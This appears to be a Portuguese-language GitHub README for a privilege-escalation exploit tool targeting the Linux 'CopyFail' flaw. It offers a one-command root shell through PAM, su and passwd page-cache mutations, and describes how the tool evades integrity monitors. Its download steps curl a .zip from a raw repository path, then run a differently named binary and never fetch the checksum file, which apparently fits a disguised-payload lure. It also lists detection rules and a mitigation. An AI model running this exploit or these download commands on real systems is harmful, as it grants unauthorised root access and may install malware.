
Explorar e detectar vulnerabilidades CVE-2026-31431 usando um binário estático que monitora a integridade do sistema e contorna a autenticação PAM.
Prova de conceito multivetor + detecção pareada para CVE-2026-31431 (CopyFail). Inclui um novo vetor de bypass de autenticação PAM que nenhum outro PoC público possui. O modo de detecção captura o que AIDE / Wazuh / OSSEC / Tripwire estruturalmente não conseguem.
Binário estático único. ~108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Um comando. Shell root. PAM killshot por baixo dos panos (uma única escrita de 4 bytes em /etc/pam.d/common-auth), queda de PTY para root via sudo com senha descartada. A linha [sudo] password for noot: pisca brevemente, o sudo sempre exibe esse prompt; o binário alimenta qualquer string e a falha do pam_unix cascateia através do pam_deny.so comentado para pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← o que está realmente carregado (mutado)
disk: 117dab1c... ← o que AIDE / Wazuh / Tripwire veem (limpo)
Esse é o projeto. Disco limpo, cache mutado. Todo FIM público é cego. Esta ferramenta não é.
Binários estáticos pré-compilados no release v0.1.0. Escolha sua arquitetura, baixe, execute.
# x86_64 (maioria dos laptops + servidores em nuvem)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Outras arquiteturas:
| Arch | Arquivo |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Verifique a integridade:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
Binários musl estáticos, sem dependências em tempo de execução, funcionam em qualquer Linux.
Mutação no cache de página. Sem escrita no VFS. Sem página suja. Sem evento inotify. A reescrita periódica corre contra a evicção.
AIDE/Wazuh/OSSEC/Tripwire/Samhain leem via I/O bufferizado → cache de página → fazem hash dos bytes mutados como verdade. Ou após evicção, fazem hash do disco limpo → "nenhuma alteração jamais ocorreu."
A detecção precisa de O_DIRECT (pular cache) + leitura bufferizada (atingir cache) + diff de hash. Incompatibilidade = assinatura CopyFail. É isso que --scan faz.
Seleção automática: --vector auto (padrão). Prioriza pam > su > passwd por furtividade. Recua em caso de falha.
--json em todos os lugares para ingestão em SIEM.
detection/:
sigma/copyfail-af-alg.yml, regra Sigma, coloque em seu SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, one-liner bpftraceapparmor/copyfail-block.profile, regra de negação AppArmor 3.0+mitigation/disable-algif.sh, blacklist modprobe + aviso =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Ou kernel mainline a664bf3d603d (abril de 2026). Atualmente: apenas Debian Sid/Forky lançou. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = todos vulneráveis.
Ressalva: CONFIG_CRYPTO_USER_API_AEAD=y (embutido) ignora silenciosamente o modprobe. --check avisa.
Após exploit + mitigação: a mutação no cache persiste até a reinicialização. A mitigação bloqueia NOVOS exploits, não desfaz os anteriores.
cargo build --release --target x86_64-unknown-linux-musl
| Alvo | Tamanho |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. Sem alocador. Sem dependências em tempo de execução. Binário estático único.
Artefatos pré-compilados e somas SHA256 anexados aos releases do GitHub.
Veja docs/usage.md para exemplos concretos de uma tela por modo (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Para uma versão narrativa mais longa deste README (mais contexto, exposição mais profunda), veja BLOG.md.
Veja docs/threat-model.md.
Apenas hardware próprio. Sem trava CLI (teatro de segurança). README + LICENSE = o arcabouço.
O modo de detecção é somente leitura. Seguro em produção.
O modo exploit muta o cache de página do kernel. Apenas na RAM, mas trate como destrutivo. Bloqueia autenticação para qualquer chamador subsequente.
CVE-2026-31431 divulgada por Theori / Xint em 29/04/2026 (writeup, blog Xint). PoCs públicos anteriores:
Este projeto (copyfail-rs): adiciona o vetor de bypass de autenticação PAM, detecção de modo duplo, artefatos de IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, ago/2017)| Vetor | Alvo | Onde atinge |
|---|
pam (NOVO) | /etc/pam.d/common-auth (Debian/Ubuntu) ou system-auth (Fedora/RHEL/Arch) | 4 bytes. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo com qualquer senha = root. |
su | /usr/bin/su | Muta o texto do binário setuid. execve → root. |
passwd | /etc/passwd | Inversão de UID → usuário vira root no próximo login. Quebra SSH para esse usuário. |
| Modo | O que faz |
|---|
--check | Kernel + módulo + CONFIG_CRYPTO_USER_API_AEAD + status de mitigação. Veredito: vulnerável / mitigado / seguro. |
--scan | Diferença entre leitura O_DIRECT e bufferizada em arquivos críticos. Ramificado por statfs(): ext4/xfs/btrfs usam O_DIRECT, overlayfs recua, tmpfs é ignorado. |
--baseline / --diff | Captura instantânea do estado conhecido como limpo. Difere depois. Deltas apenas no cache = a impressão digital do CopyFail. |
--watch | Daemon. Varredura periódica. SIGTERM limpo. |
--hunt | Varredura de frota SSH. Agregados JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Vetores | su | su + passwd | su | su + passwd + PAM (novo) |
| Detecção | nenhuma | nenhuma | nenhuma | completo --mode detect |
| Artefatos de IR | nenhum | nenhum | nenhum | Sigma + auditd + eBPF + AppArmor |
| UX do operador | 3 comandos | 4 comandos | 5 comandos | 1 comando |
| Binário | precisa de Python | ~10 KB | ~5 MB | ~108 KB estático |